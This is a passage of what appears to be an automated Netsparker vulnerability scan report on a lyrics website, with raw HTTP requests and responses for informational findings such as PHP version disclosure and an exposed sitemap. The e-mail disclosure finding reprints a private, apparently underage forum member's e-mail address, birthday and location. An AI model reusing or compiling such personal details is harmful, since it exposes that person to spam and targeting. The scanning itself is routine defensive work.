<title>MetroLyrics - powered by vBulletin</title>
</head>
<body>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_1x1;tile=1;sz=1x1;ord=1299460375?"></script>
<div id="header">
<h1>Lyrics Forum</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="t..
PHP Version Disclosure
PHP Version Disclosure
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.
Impact
An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
PHP/5.3.2
Request
GET /xml/ HTTP/1.1
Referer: http://www.metrolyrics.com/xml/justreleased.xml
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460374; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 301 Moved Permanently
Content-Encoding:
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.2
Content-Type: text/html; charset=utf-8
Location: http://www.metrolyrics.com/xml.html
Content-Length: 20
Expires: Mon, 07 Mar 2011 01:12:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Mar 2011 01:12:59 GMT
Connection: keep-alive
Forbidden Resource
Forbidden Resource
Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.
Impact
There is no impact resulting from this issue.
- /iframes/
/iframes/
CONFIRMED
|
Request
GET /iframes/ HTTP/1.1
Referer: http://www.metrolyrics.com/iframes/footer.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460374; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 403 Forbidden
Server: LiteSpeed
Content-Type: text/html
Content-Length: 380
Expires: Mon, 07 Mar 2011 01:12:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Mar 2011 01:12:58 GMT
Connection: keep-alive
Vary: Accept-Encoding
<html><head><title> 403 Forbidden
</title></head><body><h1> 403 Forbidden
</h1>Access to this resource on the server is denied!<hr />Powered By <a href='http://www.litespeedtech.com'>LiteSpeed Web Server</a><br /><font face="Verdana, Arial, Helvetica" size=-1>LiteSpeed Technologies is not responsible for administration and contents of this web site!</font></body></html>
E-mail Address Disclosure
E-mail Address Disclosure
Netsparker found e-mail addresses on the web site.
Impact
E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .
Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.
External References
- /forum/member.php
/forum/member.php
|
ai.hyu.niey@hotmail.my
Request
GET /forum/member.php?u=1223126 HTTP/1.1
Referer: http://www.metrolyrics.com/top-artists.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460445; bbsessionhash=aec9be57297fd02395d7763520c16386
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: LiteSpeed
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 7886
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:22:09 GMT
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="profile, AiHyu" />
<meta name="description" content="AiHyu's Profile" />
<meta name="keywords" content="Profile" />
<meta property="fb:page_id" content="81914997331" />
<title>AiHyu's Profile</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"isinforum":true},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/user.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_1x1;tile=1;sz=1x1;ord=1299460929?"></script>
<div id="header">
<h1>AiHyu's Profile</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_728x90;tile=2;sz=728x90;ord=1299460929?"></script>
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div id="Acolumn">
<div class="blueBox">
<div id="panel">
<img src="/forum/customavatars/avatar1223126_1.jpg" alt="AiHyu's Avatar" width="96" />
<span><strong>AiHyu</strong><br />Junior Member</span>
<ul>
<li><a href="private.php" title="Send a Message"><img src="/images/n2/ico-message.jpg" alt="Send a message" />Send Message</a></li>
<li><a href="profile.php" title="Add to Friends"><img src="/images/n2/ico-add2.gif" alt="Add to Friends" />Add to Friends</a></li>
<li>No Forum Posts</li>
</ul>
</div>
</div>
<div class="blueBox">
<h2>About AiHyu</h2>
<div id="about">
<ul>
<li><img src="/images/n2/ico-female.gif" alt="Female" />Female</li>
<li><strong>Location: </strong> Malaysia</li>
<li><strong>Birthday:</strong> October 11, 1994</li>
<li><strong>Bio: </strong>My life is music & i could die without it.I love arts,paintings,movies & more but music is my passion and if somehow i lost my MP4, i would panic and fainted.Every work i do,i did it with music</li>
<li><strong>Hobbies: </strong>Listening to Music,Paint,Sketch,Watch Movies</li>
<li><strong>MSN: </strong> ai.hyu.niey@hotmail.my</li>
</ul>
</div>
</div>
<div class="blueBox">
<h2>AiHyu's Friends (0)</h2>
<div id="friendList">
<ul>
<li style="width: 180px; text-align: left;">AiHyu currently does not have any friends.</li..
Sitemap Identified
Sitemap Identified
Netsparker identified Sitemap file on the target web site. This issue is reported as extra information.
Impact
This issue is reported as extra information, there is no direct impact resulting from this.
- /sitemap.xml
/sitemap.xml
|
Request
GET /sitemap.xml HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460374
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: LiteSpeed
Accept-Ranges: bytes
ETag: "5ac662-4c72c100-0"
Last-Modified: Mon, 23 Aug 2010 18:42:08 GMT
Content-Type: application/xml
Content-Length: 5949026
Date: Mon, 07 Mar 2011 01:12:54 GMT
Connection: keep-alive
<?xml version="1.0" encoding="UTF-8"?><urlset xmlns="http://www.google.com/schemas/sitemap/0.84" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.google.com/schemas/sitemap/0.84 http://www.google.com/schemas/sitemap/0.84/sitemap.xsd"> <url> <loc>http://www.metrolyrics.com/0100101110-lyrics-artrosis.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/01011001-album-ayreon.html</loc> <priority>0.8</priority> </url> <url> <loc>http://www.metrolyrics.com/02-avalon-remixed-album-avalon.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/02-panic-room-lyrics-riverside.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/0304-album-jewel.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1-2-3-remix-lyrics-gloria-estefan.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1-fille-4-types-album-celine-dion.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1-hits-collection-album-conway-twitty.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1-in-amillon-lyrics-hannah-montana.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1-minute-40-lyrics-antiskeptic.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1-mo-time-lyrics-plies.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1-mo-tome-lyrics-plies.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1-n-1-out-lyrics-tha-dogg-pound.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1-of-6-thing-lyrics-craig-david.html</loc> <priority>1</priority> </url> <url> <loc>http://www.metrolyrics.com/1-on-1-album-rupee.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1-shot-deal-lyrics-lloyd-banks.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/10-album-brian-mcknight.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/10-album-ll-cool-j.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/10-anni-lyrics-marco-masini.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/10-cc-lyrics.html</loc> <priority>0.6</priority> </url> <url> <loc>http://www.metrolyrics.com/10-days-out-blues-from-the-backroads-album-kenny-wayne-shepherd.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/10-from-6-album-bad-company.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/10-notes-on-a-summers-day-album-crass.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/10-seconds-to-go-lyrics-social-code.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/10-songs-album-the-melvins.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/10-things-i-hate-about-you-music-from-the-motion-picture-soundtrack-album-various-artists.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/10-years-lyrics.html</loc> <priority>0.5</priority> </url> <url> <loc>http://www.metrolyrics.com/10-years-today-lyrics-bullet-for-my-valentine.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/100-broken-windows-album-idlewild.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/100-colombian-album-fun-lovin-criminals.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/100-fun-album-matthew-sweet.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/100-ginuwine-album-ginuwine.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/100-live-album-prong.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/100-mai-no-kiss-lyrics-glay.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/100-million-lyrics-birdman.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/100-percent-lyrics.html</loc> <priority>0.5</priority> </url> <url> <loc>http://www.metrolyrics.com/100-round-the-bends-lyrics-missy-higgins.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/100-yrs-lyrics-plies.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1000-degrees-lyrics-lil-wayne.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1000-fragen-lyrics-silbermond.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1000-kisses-album-patty-griffin.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1000-meere-lyrics-tokio-hotel.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1000-miles-away-lyrics-andre-andersen.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1000-miles-away-lyrics-hoodoo-gurus.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1000-miles-lyrics-blake-lewis.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1000-shards-lyrics-isis.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1000-ways-lyrics-zap-mama.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1000-words-lyrics-kumi-koda.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1000-years-away-lyrics-andi-deris.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/10000-days-album-tool.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/10000-hz-legend-album-air.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/10000-maniacs-lyrics.html</loc> <priority>0.5</priority> </url> <url> <loc>http://www.metrolyrics.com/10000-years-lyrics-army-of-freshmen.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/100th-window-album-massive-attack.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/101-live-album-depeche-mode.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/101-lyrics-albert-hammond-jr.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1039-smoothed-out-slappy-hours-album-green-day.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1039smoothed-out-slappy-hou-album-green-day.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1039smoothed-out-slappy-hour-album-array.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/104210801072-104310881072-lyrics.html</loc> <priority>0.5</priority> </url> <url> <loc>http://www.metrolyrics.com/106310901086-105710761077108310721083-1071-what-ive-done-lyrics-linkin-park.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/107-degrees-lyrics-citizen-cope.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/10cc-album-10-cc.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/11-januari-lyrics-gigi.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/11-silver-lyrics-ozzy-osbourne.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/111-ciento-once-album-tiziano-ferro.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1111-album-maria-taylor.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1111-album-regina-spektor.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/111770-album-elton-john.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/112-album-112.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/112-lyrics.html</loc> <priority>0.6</priority> </url> <url> <loc>http://www.metrolyrics.com/1140-mississippi-lyrics.html</loc> <priority>0.5</priority> </url> <url> <loc>http://www.metrolyrics.com/1182449289-album-chrisette-michele.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/11oz-album-guttermouth.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/11th-song-album-deep-blue-something.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/12-bar-acid-blues-lyrics-siobhan-donaghy.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/12-bar-blues-album-scott-weiland.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/12-gardens-live-album-billy-joel.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/12-golden-country-greats-album-ween.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/12-memories-album-travis.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/12-naked-lyrics-bitch-animal.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/12-play-album-r-kelly.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/12-songs-album-neil-diamond.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/12-step-programs-lyrics-eleventy-seven.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/12-stones-album-12-stones.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/12-stones-lyrics.html</loc> <lastmod>2008-02-08</lastmod> <priority>0.8</priority> </url> <url> <loc>http://www.metrolyrics.com/12-victory-check-lyrics-tye-tribbett-ga.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/120-days-of-genitorture-album-genitorturers.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1200-curfews-album-indigo-girls.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/12203acoustic-album-maroon-5.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/123-lyrics-silbermond.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1234-lyrics-feist.html</loc> <priority>1</priority> </url> <url> <loc>http://www.metrolyrics.com/1259-lullaby-lyrics-bedouin-soundclash.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/13-above-the-night-album-my-life-with-the-thrill-kill-kult.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/13-album-blur.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/13-album-die-rzte.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/13-dias-lyrics-manu-chao.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/13-engines-lyrics.html</loc> <priority>0.5</priority> </url> <url> <loc>http://www.metrolyrics.com/13-ghosts-lyrics-balzac.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/13-lyrics-bigwig.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/13-stitches-album-nofx.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/13-ways-to-bleed-on-stage-album-cold.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1313-album-karemera.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/138-lyrics-a-dozen-furies.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/14-bis-lyrics.html</loc> <priority>0.5</priority> </url> <url> <loc>http://www.metrolyrics.com/14-lyrics-paula-cole.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/14-miles-lyrics-accidental-superhero.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/14-or-so-lyrics-as-friends-rust.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/14-shades-of-grey-album-staind.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/14-shots-to-the-dome-album-ll-cool-j.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/14-super-exitos-album-la-mafia.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/1459-album-sugar-ray.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/14th-stbreak-lyrics-beastie-boys.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/15-album-buckcherry.html</loc> <priority>0.4</priority> </url> <url> <loc>http://www.metrolyrics.com/15-lyrics-rilo-kiley.html</loc> <priority>0.4</priority> </url> <url> 